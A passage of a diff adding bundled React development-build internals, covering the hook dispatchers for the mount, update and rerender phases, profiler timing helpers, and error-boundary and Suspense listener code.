+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useRef: function(initialValue) {
+              currentHookNameInDev = "useRef";
+              mountHookTypesDev();
+              return mountRef(initialValue);
+            },
+            useState: function(initialState) {
+              currentHookNameInDev = "useState";
+              mountHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
+              try {
+                return mountState(initialState);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useDebugValue: function(value, formatterFn) {
+              currentHookNameInDev = "useDebugValue";
+              mountHookTypesDev();
+              return mountDebugValue();
+            },
+            useDeferredValue: function(value) {
+              currentHookNameInDev = "useDeferredValue";
+              mountHookTypesDev();
+              return mountDeferredValue(value);
+            },
+            useTransition: function() {
+              currentHookNameInDev = "useTransition";
+              mountHookTypesDev();
+              return mountTransition();
+            },
+            useMutableSource: function(source, getSnapshot, subscribe) {
+              currentHookNameInDev = "useMutableSource";
+              mountHookTypesDev();
+              return mountMutableSource();
+            },
+            useSyncExternalStore: function(subscribe, getSnapshot, getServerSnapshot) {
+              currentHookNameInDev = "useSyncExternalStore";
+              mountHookTypesDev();
+              return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
+            },
+            useId: function() {
+              currentHookNameInDev = "useId";
+              mountHookTypesDev();
+              return mountId();
+            },
+            unstable_isNewReconciler: enableNewReconciler
+          };
+          HooksDispatcherOnMountWithHookTypesInDEV = {
+            readContext: function(context) {
+              return readContext(context);
+            },
+            useCallback: function(callback, deps) {
+              currentHookNameInDev = "useCallback";
+              updateHookTypesDev();
+              return mountCallback(callback, deps);
+            },
+            useContext: function(context) {
+              currentHookNameInDev = "useContext";
+              updateHookTypesDev();
+              return readContext(context);
+            },
+            useEffect: function(create, deps) {
+              currentHookNameInDev = "useEffect";
+              updateHookTypesDev();
+              return mountEffect(create, deps);
+            },
+            useImperativeHandle: function(ref, create, deps) {
+              currentHookNameInDev = "useImperativeHandle";
+              updateHookTypesDev();
+              return mountImperativeHandle(ref, create, deps);
+            },
+            useInsertionEffect: function(create, deps) {
+              currentHookNameInDev = "useInsertionEffect";
+              updateHookTypesDev();
+              return mountInsertionEffect(create, deps);
+            },
+            useLayoutEffect: function(create, deps) {
+              currentHookNameInDev = "useLayoutEffect";
+              updateHookTypesDev();
+              return mountLayoutEffect(create, deps);
+            },
+            useMemo: function(create, deps) {
+              currentHookNameInDev = "useMemo";
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
+              try {
+                return mountMemo(create, deps);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useReducer: function(reducer, initialArg, init) {
+              currentHookNameInDev = "useReducer";
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
+              try {
+                return mountReducer(reducer, initialArg, init);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useRef: function(initialValue) {
+              currentHookNameInDev = "useRef";
+              updateHookTypesDev();
+              return mountRef(initialValue);
+            },
+            useState: function(initialState) {
+              currentHookNameInDev = "useState";
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
+              try {
+                return mountState(initialState);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useDebugValue: function(value, formatterFn) {
+              currentHookNameInDev = "useDebugValue";
+              updateHookTypesDev();
+              return mountDebugValue();
+            },
+            useDeferredValue: function(value) {
+              currentHookNameInDev = "useDeferredValue";
+              updateHookTypesDev();
+              return mountDeferredValue(value);
+            },
+            useTransition: function() {
+              currentHookNameInDev = "useTransition";
+              updateHookTypesDev();
+              return mountTransition();
+            },
+            useMutableSource: function(source, getSnapshot, subscribe) {
+              currentHookNameInDev = "useMutableSource";
+              updateHookTypesDev();
+              return mountMutableSource();
+            },
+            useSyncExternalStore: function(subscribe, getSnapshot, getServerSnapshot) {
+              currentHookNameInDev = "useSyncExternalStore";
+              updateHookTypesDev();
+              return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
+            },
+            useId: function() {
+              currentHookNameInDev = "useId";
+              updateHookTypesDev();
+              return mountId();
+            },
+            unstable_isNewReconciler: enableNewReconciler
+          };
+          HooksDispatcherOnUpdateInDEV = {
+            readContext: function(context) {
+              return readContext(context);
+            },
+            useCallback: function(callback, deps) {
+              currentHookNameInDev = "useCallback";
+              updateHookTypesDev();
+              return updateCallback(callback, deps);
+            },
+            useContext: function(context) {
+              currentHookNameInDev = "useContext";
+              updateHookTypesDev();
+              return readContext(context);
+            },
+            useEffect: function(create, deps) {
+              currentHookNameInDev = "useEffect";
+              updateHookTypesDev();
+              return updateEffect(create, deps);
+            },
+            useImperativeHandle: function(ref, create, deps) {
+              currentHookNameInDev = "useImperativeHandle";
+              updateHookTypesDev();
+              return updateImperativeHandle(ref, create, deps);
+            },
+            useInsertionEffect: function(create, deps) {
+              currentHookNameInDev = "useInsertionEffect";
+              updateHookTypesDev();
+              return updateInsertionEffect(create, deps);
+            },
+            useLayoutEffect: function(create, deps) {
+              currentHookNameInDev = "useLayoutEffect";
+              updateHookTypesDev();
+              return updateLayoutEffect(create, deps);
+            },
+            useMemo: function(create, deps) {
+              currentHookNameInDev = "useMemo";
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+              try {
+                return updateMemo(create, deps);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useReducer: function(reducer, initialArg, init) {
+              currentHookNameInDev = "useReducer";
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+              try {
+                return updateReducer(reducer, initialArg, init);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useRef: function(initialValue) {
+              currentHookNameInDev = "useRef";
+              updateHookTypesDev();
+              return updateRef();
+            },
+            useState: function(initialState) {
+              currentHookNameInDev = "useState";
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+              try {
+                return updateState(initialState);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useDebugValue: function(value, formatterFn) {
+              currentHookNameInDev = "useDebugValue";
+              updateHookTypesDev();
+              return updateDebugValue();
+            },
+            useDeferredValue: function(value) {
+              currentHookNameInDev = "useDeferredValue";
+              updateHookTypesDev();
+              return updateDeferredValue(value);
+            },
+            useTransition: function() {
+              currentHookNameInDev = "useTransition";
+              updateHookTypesDev();
+              return updateTransition();
+            },
+            useMutableSource: function(source, getSnapshot, subscribe) {
+              currentHookNameInDev = "useMutableSource";
+              updateHookTypesDev();
+              return updateMutableSource();
+            },
+            useSyncExternalStore: function(subscribe, getSnapshot, getServerSnapshot) {
+              currentHookNameInDev = "useSyncExternalStore";
+              updateHookTypesDev();
+              return updateSyncExternalStore(subscribe, getSnapshot);
+            },
+            useId: function() {
+              currentHookNameInDev = "useId";
+              updateHookTypesDev();
+              return updateId();
+            },
+            unstable_isNewReconciler: enableNewReconciler
+          };
+          HooksDispatcherOnRerenderInDEV = {
+            readContext: function(context) {
+              return readContext(context);
+            },
+            useCallback: function(callback, deps) {
+              currentHookNameInDev = "useCallback";
+              updateHookTypesDev();
+              return updateCallback(callback, deps);
+            },
+            useContext: function(context) {
+              currentHookNameInDev = "useContext";
+              updateHookTypesDev();
+              return readContext(context);
+            },
+            useEffect: function(create, deps) {
+              currentHookNameInDev = "useEffect";
+              updateHookTypesDev();
+              return updateEffect(create, deps);
+            },
+            useImperativeHandle: function(ref, create, deps) {
+              currentHookNameInDev = "useImperativeHandle";
+              updateHookTypesDev();
+              return updateImperativeHandle(ref, create, deps);
+            },
+            useInsertionEffect: function(create, deps) {
+              currentHookNameInDev = "useInsertionEffect";
+              updateHookTypesDev();
+              return updateInsertionEffect(create, deps);
+            },
+            useLayoutEffect: function(create, deps) {
+              currentHookNameInDev = "useLayoutEffect";
+              updateHookTypesDev();
+              return updateLayoutEffect(create, deps);
+            },
+            useMemo: function(create, deps) {
+              currentHookNameInDev = "useMemo";
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnRerenderInDEV;
+              try {
+                return updateMemo(create, deps);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useReducer: function(reducer, initialArg, init) {
+              currentHookNameInDev = "useReducer";
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnRerenderInDEV;
+              try {
+                return rerenderReducer(reducer, initialArg, init);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useRef: function(initialValue) {
+              currentHookNameInDev = "useRef";
+              updateHookTypesDev();
+              return updateRef();
+            },
+            useState: function(initialState) {
+              currentHookNameInDev = "useState";
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnRerenderInDEV;
+              try {
+                return rerenderState(initialState);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useDebugValue: function(value, formatterFn) {
+              currentHookNameInDev = "useDebugValue";
+              updateHookTypesDev();
+              return updateDebugValue();
+            },
+            useDeferredValue: function(value) {
+              currentHookNameInDev = "useDeferredValue";
+              updateHookTypesDev();
+              return rerenderDeferredValue(value);
+            },
+            useTransition: function() {
+              currentHookNameInDev = "useTransition";
+              updateHookTypesDev();
+              return rerenderTransition();
+            },
+            useMutableSource: function(source, getSnapshot, subscribe) {
+              currentHookNameInDev = "useMutableSource";
+              updateHookTypesDev();
+              return updateMutableSource();
+            },
+            useSyncExternalStore: function(subscribe, getSnapshot, getServerSnapshot) {
+              currentHookNameInDev = "useSyncExternalStore";
+              updateHookTypesDev();
+              return updateSyncExternalStore(subscribe, getSnapshot);
+            },
+            useId: function() {
+              currentHookNameInDev = "useId";
+              updateHookTypesDev();
+              return updateId();
+            },
+            unstable_isNewReconciler: enableNewReconciler
+          };
+          InvalidNestedHooksDispatcherOnMountInDEV = {
+            readContext: function(context) {
+              warnInvalidContextAccess();
+              return readContext(context);
+            },
+            useCallback: function(callback, deps) {
+              currentHookNameInDev = "useCallback";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountCallback(callback, deps);
+            },
+            useContext: function(context) {
+              currentHookNameInDev = "useContext";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return readContext(context);
+            },
+            useEffect: function(create, deps) {
+              currentHookNameInDev = "useEffect";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountEffect(create, deps);
+            },
+            useImperativeHandle: function(ref, create, deps) {
+              currentHookNameInDev = "useImperativeHandle";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountImperativeHandle(ref, create, deps);
+            },
+            useInsertionEffect: function(create, deps) {
+              currentHookNameInDev = "useInsertionEffect";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountInsertionEffect(create, deps);
+            },
+            useLayoutEffect: function(create, deps) {
+              currentHookNameInDev = "useLayoutEffect";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountLayoutEffect(create, deps);
+            },
+            useMemo: function(create, deps) {
+              currentHookNameInDev = "useMemo";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
+              try {
+                return mountMemo(create, deps);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useReducer: function(reducer, initialArg, init) {
+              currentHookNameInDev = "useReducer";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
+              try {
+                return mountReducer(reducer, initialArg, init);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useRef: function(initialValue) {
+              currentHookNameInDev = "useRef";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountRef(initialValue);
+            },
+            useState: function(initialState) {
+              currentHookNameInDev = "useState";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
+              try {
+                return mountState(initialState);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useDebugValue: function(value, formatterFn) {
+              currentHookNameInDev = "useDebugValue";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountDebugValue();
+            },
+            useDeferredValue: function(value) {
+              currentHookNameInDev = "useDeferredValue";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountDeferredValue(value);
+            },
+            useTransition: function() {
+              currentHookNameInDev = "useTransition";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountTransition();
+            },
+            useMutableSource: function(source, getSnapshot, subscribe) {
+              currentHookNameInDev = "useMutableSource";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountMutableSource();
+            },
+            useSyncExternalStore: function(subscribe, getSnapshot, getServerSnapshot) {
+              currentHookNameInDev = "useSyncExternalStore";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
+            },
+            useId: function() {
+              currentHookNameInDev = "useId";
+              warnInvalidHookAccess();
+              mountHookTypesDev();
+              return mountId();
+            },
+            unstable_isNewReconciler: enableNewReconciler
+          };
+          InvalidNestedHooksDispatcherOnUpdateInDEV = {
+            readContext: function(context) {
+              warnInvalidContextAccess();
+              return readContext(context);
+            },
+            useCallback: function(callback, deps) {
+              currentHookNameInDev = "useCallback";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateCallback(callback, deps);
+            },
+            useContext: function(context) {
+              currentHookNameInDev = "useContext";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return readContext(context);
+            },
+            useEffect: function(create, deps) {
+              currentHookNameInDev = "useEffect";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateEffect(create, deps);
+            },
+            useImperativeHandle: function(ref, create, deps) {
+              currentHookNameInDev = "useImperativeHandle";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateImperativeHandle(ref, create, deps);
+            },
+            useInsertionEffect: function(create, deps) {
+              currentHookNameInDev = "useInsertionEffect";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateInsertionEffect(create, deps);
+            },
+            useLayoutEffect: function(create, deps) {
+              currentHookNameInDev = "useLayoutEffect";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateLayoutEffect(create, deps);
+            },
+            useMemo: function(create, deps) {
+              currentHookNameInDev = "useMemo";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+              try {
+                return updateMemo(create, deps);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useReducer: function(reducer, initialArg, init) {
+              currentHookNameInDev = "useReducer";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+              try {
+                return updateReducer(reducer, initialArg, init);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useRef: function(initialValue) {
+              currentHookNameInDev = "useRef";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateRef();
+            },
+            useState: function(initialState) {
+              currentHookNameInDev = "useState";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+              try {
+                return updateState(initialState);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useDebugValue: function(value, formatterFn) {
+              currentHookNameInDev = "useDebugValue";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateDebugValue();
+            },
+            useDeferredValue: function(value) {
+              currentHookNameInDev = "useDeferredValue";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateDeferredValue(value);
+            },
+            useTransition: function() {
+              currentHookNameInDev = "useTransition";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateTransition();
+            },
+            useMutableSource: function(source, getSnapshot, subscribe) {
+              currentHookNameInDev = "useMutableSource";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateMutableSource();
+            },
+            useSyncExternalStore: function(subscribe, getSnapshot, getServerSnapshot) {
+              currentHookNameInDev = "useSyncExternalStore";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateSyncExternalStore(subscribe, getSnapshot);
+            },
+            useId: function() {
+              currentHookNameInDev = "useId";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateId();
+            },
+            unstable_isNewReconciler: enableNewReconciler
+          };
+          InvalidNestedHooksDispatcherOnRerenderInDEV = {
+            readContext: function(context) {
+              warnInvalidContextAccess();
+              return readContext(context);
+            },
+            useCallback: function(callback, deps) {
+              currentHookNameInDev = "useCallback";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateCallback(callback, deps);
+            },
+            useContext: function(context) {
+              currentHookNameInDev = "useContext";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return readContext(context);
+            },
+            useEffect: function(create, deps) {
+              currentHookNameInDev = "useEffect";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateEffect(create, deps);
+            },
+            useImperativeHandle: function(ref, create, deps) {
+              currentHookNameInDev = "useImperativeHandle";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateImperativeHandle(ref, create, deps);
+            },
+            useInsertionEffect: function(create, deps) {
+              currentHookNameInDev = "useInsertionEffect";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateInsertionEffect(create, deps);
+            },
+            useLayoutEffect: function(create, deps) {
+              currentHookNameInDev = "useLayoutEffect";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateLayoutEffect(create, deps);
+            },
+            useMemo: function(create, deps) {
+              currentHookNameInDev = "useMemo";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+              try {
+                return updateMemo(create, deps);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useReducer: function(reducer, initialArg, init) {
+              currentHookNameInDev = "useReducer";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+              try {
+                return rerenderReducer(reducer, initialArg, init);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useRef: function(initialValue) {
+              currentHookNameInDev = "useRef";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateRef();
+            },
+            useState: function(initialState) {
+              currentHookNameInDev = "useState";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+              try {
+                return rerenderState(initialState);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useDebugValue: function(value, formatterFn) {
+              currentHookNameInDev = "useDebugValue";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateDebugValue();
+            },
+            useDeferredValue: function(value) {
+              currentHookNameInDev = "useDeferredValue";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return rerenderDeferredValue(value);
+            },
+            useTransition: function() {
+              currentHookNameInDev = "useTransition";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return rerenderTransition();
+            },
+            useMutableSource: function(source, getSnapshot, subscribe) {
+              currentHookNameInDev = "useMutableSource";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateMutableSource();
+            },
+            useSyncExternalStore: function(subscribe, getSnapshot, getServerSnapshot) {
+              currentHookNameInDev = "useSyncExternalStore";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateSyncExternalStore(subscribe, getSnapshot);
+            },
+            useId: function() {
+              currentHookNameInDev = "useId";
+              warnInvalidHookAccess();
+              updateHookTypesDev();
+              return updateId();
+            },
+            unstable_isNewReconciler: enableNewReconciler
+          };
+        }
+        var now$1 = Scheduler.unstable_now;
+        var commitTime = 0;
+        var layoutEffectStartTime = -1;
+        var profilerStartTime = -1;
+        var passiveEffectStartTime = -1;
+        var currentUpdateIsNested = false;
+        var nestedUpdateScheduled = false;
+        function isCurrentUpdateNested() {
+          return currentUpdateIsNested;
+        }
+        function markNestedUpdateScheduled() {
+          {
+            nestedUpdateScheduled = true;
+          }
+        }
+        function resetNestedUpdateFlag() {
+          {
+            currentUpdateIsNested = false;
+            nestedUpdateScheduled = false;
+          }
+        }
+        function syncNestedUpdateFlag() {
+          {
+            currentUpdateIsNested = nestedUpdateScheduled;
+            nestedUpdateScheduled = false;
+          }
+        }
+        function getCommitTime() {
+          return commitTime;
+        }
+        function recordCommitTime() {
+          commitTime = now$1();
+        }
+        function startProfilerTimer(fiber) {
+          profilerStartTime = now$1();
+          if (fiber.actualStartTime < 0) {
+            fiber.actualStartTime = now$1();
+          }
+        }
+        function stopProfilerTimerIfRunning(fiber) {
+          profilerStartTime = -1;
+        }
+        function stopProfilerTimerIfRunningAndRecordDelta(fiber, overrideBaseTime) {
+          if (profilerStartTime >= 0) {
+            var elapsedTime = now$1() - profilerStartTime;
+            fiber.actualDuration += elapsedTime;
+            if (overrideBaseTime) {
+              fiber.selfBaseDuration = elapsedTime;
+            }
+            profilerStartTime = -1;
+          }
+        }
+        function recordLayoutEffectDuration(fiber) {
+          if (layoutEffectStartTime >= 0) {
+            var elapsedTime = now$1() - layoutEffectStartTime;
+            layoutEffectStartTime = -1;
+            var parentFiber = fiber.return;
+            while (parentFiber !== null) {
+              switch (parentFiber.tag) {
+                case HostRoot:
+                  var root2 = parentFiber.stateNode;
+                  root2.effectDuration += elapsedTime;
+                  return;
+                case Profiler:
+                  var parentStateNode = parentFiber.stateNode;
+                  parentStateNode.effectDuration += elapsedTime;
+                  return;
+              }
+              parentFiber = parentFiber.return;
+            }
+          }
+        }
+        function recordPassiveEffectDuration(fiber) {
+          if (passiveEffectStartTime >= 0) {
+            var elapsedTime = now$1() - passiveEffectStartTime;
+            passiveEffectStartTime = -1;
+            var parentFiber = fiber.return;
+            while (parentFiber !== null) {
+              switch (parentFiber.tag) {
+                case HostRoot:
+                  var root2 = parentFiber.stateNode;
+                  if (root2 !== null) {
+                    root2.passiveEffectDuration += elapsedTime;
+                  }
+                  return;
+                case Profiler:
+                  var parentStateNode = parentFiber.stateNode;
+                  if (parentStateNode !== null) {
+                    parentStateNode.passiveEffectDuration += elapsedTime;
+                  }
+                  return;
+              }
+              parentFiber = parentFiber.return;
+            }
+          }
+        }
+        function startLayoutEffectTimer() {
+          layoutEffectStartTime = now$1();
+        }
+        function startPassiveEffectTimer() {
+          passiveEffectStartTime = now$1();
+        }
+        function transferActualDuration(fiber) {
+          var child = fiber.child;
+          while (child) {
+            fiber.actualDuration += child.actualDuration;
+            child = child.sibling;
+          }
+        }
+        function createCapturedValueAtFiber(value, source) {
+          return {
+            value,
+            source,
+            stack: getStackByFiberInDevAndProd(source),
+            digest: null
+          };
+        }
+        function createCapturedValue(value, digest, stack) {
+          return {
+            value,
+            source: null,
+            stack: stack != null ? stack : null,
+            digest: digest != null ? digest : null
+          };
+        }
+        function showErrorDialog(boundary, errorInfo) {
+          return true;
+        }
+        function logCapturedError(boundary, errorInfo) {
+          try {
+            var logError = showErrorDialog(boundary, errorInfo);
+            if (logError === false) {
+              return;
+            }
+            var error2 = errorInfo.value;
+            if (true) {
+              var source = errorInfo.source;
+              var stack = errorInfo.stack;
+              var componentStack = stack !== null ? stack : "";
+              if (error2 != null && error2._suppressLogging) {
+                if (boundary.tag === ClassComponent) {
+                  return;
+                }
+                console["error"](error2);
+              }
+              var componentName = source ? getComponentNameFromFiber(source) : null;
+              var componentNameMessage = componentName ? "The above error occurred in the <" + componentName + "> component:" : "The above error occurred in one of your React components:";
+              var errorBoundaryMessage;
+              if (boundary.tag === HostRoot) {
+                errorBoundaryMessage = "Consider adding an error boundary to your tree to customize error handling behavior.\nVisit https://reactjs.org/link/error-boundaries to learn more about error boundaries.";
+              } else {
+                var errorBoundaryName = getComponentNameFromFiber(boundary) || "Anonymous";
+                errorBoundaryMessage = "React will try to recreate this component tree from scratch " + ("using the error boundary you provided, " + errorBoundaryName + ".");
+              }
+              var combinedMessage = componentNameMessage + "\n" + componentStack + "\n\n" + ("" + errorBoundaryMessage);
+              console["error"](combinedMessage);
+            } else {
+              console["error"](error2);
+            }
+          } catch (e2) {
+            setTimeout(function() {
+              throw e2;
+            });
+          }
+        }
+        var PossiblyWeakMap$1 = typeof WeakMap === "function" ? WeakMap : Map;
+        function createRootErrorUpdate(fiber, errorInfo, lane) {
+          var update = createUpdate(NoTimestamp, lane);
+          update.tag = CaptureUpdate;
+          update.payload = {
+            element: null
+          };
+          var error2 = errorInfo.value;
+          update.callback = function() {
+            onUncaughtError(error2);
+            logCapturedError(fiber, errorInfo);
+          };
+          return update;
+        }
+        function createClassErrorUpdate(fiber, errorInfo, lane) {
+          var update = createUpdate(NoTimestamp, lane);
+          update.tag = CaptureUpdate;
+          var getDerivedStateFromError = fiber.type.getDerivedStateFromError;
+          if (typeof getDerivedStateFromError === "function") {
+            var error$1 = errorInfo.value;
+            update.payload = function() {
+              return getDerivedStateFromError(error$1);
+            };
+            update.callback = function() {
+              {
+                markFailedErrorBoundaryForHotReloading(fiber);
+              }
+              logCapturedError(fiber, errorInfo);
+            };
+          }
+          var inst = fiber.stateNode;
+          if (inst !== null && typeof inst.componentDidCatch === "function") {
+            update.callback = function callback() {
+              {
+                markFailedErrorBoundaryForHotReloading(fiber);
+              }
+              logCapturedError(fiber, errorInfo);
+              if (typeof getDerivedStateFromError !== "function") {
+                markLegacyErrorBoundaryAsFailed(this);
+              }
+              var error$12 = errorInfo.value;
+              var stack = errorInfo.stack;
+              this.componentDidCatch(error$12, {
+                componentStack: stack !== null ? stack : ""
+              });
+              {
+                if (typeof getDerivedStateFromError !== "function") {
+                  if (!includesSomeLane(fiber.lanes, SyncLane)) {
+                    error("%s: Error boundaries should implement getDerivedStateFromError(). In that method, return a state update to display an error message or fallback UI.", getComponentNameFromFiber(fiber) || "Unknown");
+                  }
+                }
+              }
+            };
+          }
+          return update;
+        }
+        function attachPingListener(root2, wakeable, lanes) {
+          var pingCache = root2.pingCache;
+          var threadIDs;
+          if (pingCache === null) {
+            pingCache = root2.pingCache = new PossiblyWeakMap$1();
+            threadIDs = /* @__PURE__ */ new Set();
+            pingCache.set(wakeable, threadIDs);
+          } else {
+            threadIDs = pingCache.get(wakeable);
+            if (threadIDs === void 0) {
+              threadIDs = /* @__PURE__ */ new Set();
+              pingCache.set(wakeable, threadIDs);
+            }
+          }
+          if (!threadIDs.has(lanes)) {
+            threadIDs.add(lanes);
+            var ping = pingSuspendedRoot.bind(null, root2, wakeable, lanes);
+            {
+              if (isDevToolsPresent) {
+                restorePendingUpdaters(root2, lanes);
+              }
+            }
+            wakeable.then(ping, ping);
+          }
+        }
+        function attachRetryListener(suspenseBoundary, root2, wakeable, lanes) {
+          var wakeables = suspenseBoundary.updateQueue;
+          if (wakeables === null) {
+            var updateQueue = /* @__PURE__ */ new Set();
+            updateQueue.add(wakeable);
+            suspenseBoundary.updateQueue = updateQueue;
+          } else {
+            wakeables.add(wakeable);
+          }
+        }
+        function resetSuspendedComponent(sourceFiber, rootRenderLanes) {
+          var tag = sourceFiber.tag;
+          if ((sourceFiber.mode & ConcurrentMode) === NoMode && (tag === FunctionComponent || tag === ForwardRef || tag === SimpleMemoComponent)) {
+            var currentSource = sourceFiber.alternate;
+            if (currentSource) {
+              sourceFiber.updateQueue = currentSource.updateQueue;
+              sourceFiber.memoizedState = currentSource.memoizedState;
+              sourceFiber.lanes = currentSource.lanes;
+            } else {
+              sourceFiber.updateQueue = null;
+              sourceFiber.memoizedState = null;
+            }
+          }
+        }
+        function getNearestSuspenseBoundaryToCapture(returnFiber) {
+          var node = returnFiber;
+          do {
+            if (node.tag === SuspenseComponent && shouldCaptureSuspense(node)) {
